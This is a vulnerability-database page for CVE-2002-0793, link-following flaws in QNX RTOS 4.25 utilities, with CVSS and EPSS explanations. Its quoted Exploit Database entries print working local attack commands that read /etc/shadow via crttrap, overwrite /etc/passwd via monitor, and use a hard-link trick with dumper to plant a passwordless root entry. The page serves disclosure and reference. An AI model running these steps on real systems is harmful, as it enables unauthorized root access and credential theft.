CVE-2002-0793 : Detail

CVE-2002-0793

5.5
/
Medium
A01-Broken Access Control
0.17%V4
Local
2002-07-26
02h00 +00:00
2017-07-10
12h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Hard link and possibly symbolic link following vulnerabilities in QNX RTOS 4.25 (aka QNX4) allow local users to overwrite arbitrary files via (1) the -f argument to the monitor utility, (2) the -d argument to dumper, (3) the -c argument to crttrap, or (4) using the Watcom sample utility.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-59 Improper Link Resolution Before File Access ('Link Following')
The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 5.5 MEDIUM CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

nvd@nist.gov
V2 4.6 AV:L/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 21499

Publication date : 2002-05-30 22h00 +00:00
Author : Simon Ouellette
EDB Verified : Yes

source: https://www.securityfocus.com/bid/4901/info The QNX RTOS crttrap binary includes a command-line option for specifying a configuration file. crttrap is installed setuid by default. crttrap Local attackers may specify an arbitrary system file in place of the configuration file and crttrap will disclose the contents of the arbitrary file. crttrap -c /etc/shadow
Exploit Database EDB-ID : 21501

Publication date : 2002-05-30 22h00 +00:00
Author : Simon Ouellette
EDB Verified : Yes

source: https://www.securityfocus.com/bid/4904/info When creating memory dump files, the QNX RTOS debugging utility 'dumper' follows symbolic links. It also sets ownership of the file to the userid of the terminated process. It is possible for malicious local attackers to exploit this vulnerability to overwrite and gain ownership of arbitrary files. Consequently, attackers may elevate to root privileges by modifying files such as '/etc/passwd'. Example exploit, with /bin/dumper: Let EVIL be the unprivileged user who wants to gain root access. #link to the passwd file: dumper dumps to [process name].dmp $ ln /etc/passwd /home/EVIL/ksh.dmp #call the program that will attempt to write to the hard link $ dumper -d /home/EVIL -p [PID of EVIL's ksh] #have dumper do its job by terminating the monitored process $ exit #at this point, /etc/passwd is overwritten by the binary dump, and more importantly: EVIL is now the owner ! $ echo root::0:0::///:/bin/sh > /etc/passwd #but now no login works because /etc/passwd is not owned by userid 0. #So you do: $ passwd #and change your password. This gives /etc/passwd ownership back to root, keeping the modifications you have made. $ su #
Exploit Database EDB-ID : 21500

Publication date : 2002-05-30 22h00 +00:00
Author : Simon Ouellette
EDB Verified : Yes

source: https://www.securityfocus.com/bid/4902/info The QNX RTOS monitor utility is prone to an issue which may allow local attackers to modify arbitrary system files (such as /etc/passwd). monitor is installed setuid root by default. The monitor -f command line option may be used by a local attacker to cause an arbitrary system file to be overwritten. Once overwritten, the attacker will gain ownership of the file. monitor -f /etc/passwd

Products Mentioned

Configuraton 0

Blackberry>>Qnx_neutrino_real-time_operating_system >> Version 4.25

References

http://www.securityfocus.com/bid/4901
Tags : vdb-entry, x_refsource_BID
http://www.securityfocus.com/bid/4902
Tags : vdb-entry, x_refsource_BID
http://www.securityfocus.com/bid/4904
Tags : vdb-entry, x_refsource_BID
http://www.securityfocus.com/bid/4903
Tags : vdb-entry, x_refsource_BID